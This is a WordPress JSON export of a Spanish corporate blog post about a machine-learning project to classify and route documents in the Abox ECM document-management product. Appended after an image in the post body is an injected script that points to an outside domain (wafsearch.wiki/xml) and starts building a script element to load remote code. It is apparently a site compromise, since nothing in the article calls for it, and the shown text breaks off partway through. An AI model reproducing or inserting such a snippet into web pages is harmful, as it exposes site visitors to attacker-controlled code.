{"id":8269,"date":"2020-02-01T09:16:14","date_gmt":"2020-02-01T14:16:14","guid":{"rendered":"https:\/\/www.adapting.com\/nuevo-buscador-de-abox-basado-en-tecnicas-big-data-copy-copy\/"},"modified":"2026-03-20T03:45:46","modified_gmt":"2026-03-20T08:45:46","slug":"desarrollo-y-validacion-de-algoritmos-de-clasificacion-automatica-y-reconocimiento-de-patrones-para-la-aplicacion-de-reglas-de-negocio-en-bases-de-datos-documentales-masivas","status":"publish","type":"post","link":"https:\/\/www.adapting.com\/en\/desarrollo-y-validacion-de-algoritmos-de-clasificacion-automatica-y-reconocimiento-de-patrones-para-la-aplicacion-de-reglas-de-negocio-en-bases-de-datos-documentales-masivas\/","title":{"rendered":"Desarrollo y validaci\u00f3n de algoritmos de clasificaci\u00f3n autom\u00e1tica y reconocimiento de patrones para la aplicaci\u00f3n de reglas de negocio en bases de datos documentales masivas"},"content":{"rendered":"<p>El objetivo de este proyecto es desarrollar un nuevo algoritmo basado en t\u00e9cnicas de aprendizaje autom\u00e1tico (Machine Learning) que permita realizar un reconocimiento, clasificaci\u00f3n y enrutamiento autom\u00e1ticos de los documentos tramitados y almacenados en nuestro producto Abox ECM de gesti\u00f3n documental electr\u00f3nica.<\/p>\n<p>Una ventaja de nuestra compa\u00f1\u00eda es la disponibilidad de inmensas bases documentales, todas ellas normalizadas en un solo producto de tecnolog\u00eda propia que maneja una sola base de datos, con lo que cualquier algoritmo que logre descubrir patrones dentro de esta informaci\u00f3n y aplicar reglas en funci\u00f3n de ellos, permitir\u00e1 ofrecer servicios de alto valor a\u00f1adido a nuestra propia base instalada.<\/p>\n<p>La nueva Pol\u00edtica de Gesti\u00f3n de los Documentos Electr\u00f3nicos (ver Norma T\u00e9cnica de Interoperabilidad de Pol\u00edtica de Gesti\u00f3n de Documentos electr\u00f3nicos, Ministerio de Hacienda y Administraciones P\u00fablicas, 2016) reglamenta el uso del expediente y, entre otros aspectos, obliga a la clasificaci\u00f3n t\u00e9cnica de los documentos empleando Cuadros de Clasificaci\u00f3n Documental (CCD) que no son sencillos de emplear por todos los usuarios y mucho menos de aplicar a los hist\u00f3ricos que acumulan muchas entidades.<\/p>\n<p>En resumen, el proyecto aporta una soluci\u00f3n potente e innovadora a nuestro producto de gesti\u00f3n documental profesional para una necesidad creciente, como es aplicar t\u00e9cnicas de Inteligencia Artificial sobre repositorios documentales masivos, reduciendo errores, automatizando tareas y optimizando la gesti\u00f3n de las organizaciones con riesgo de \u201ccaos digital<\/p>\n<p><img loading=\"lazy\" class=\"aligncenter wp-image-6937 \" src=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2019\/05\/federivacedeclaracion-cs-1024x439.png\" alt=\"\" width=\"728\" height=\"312\" \/><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = 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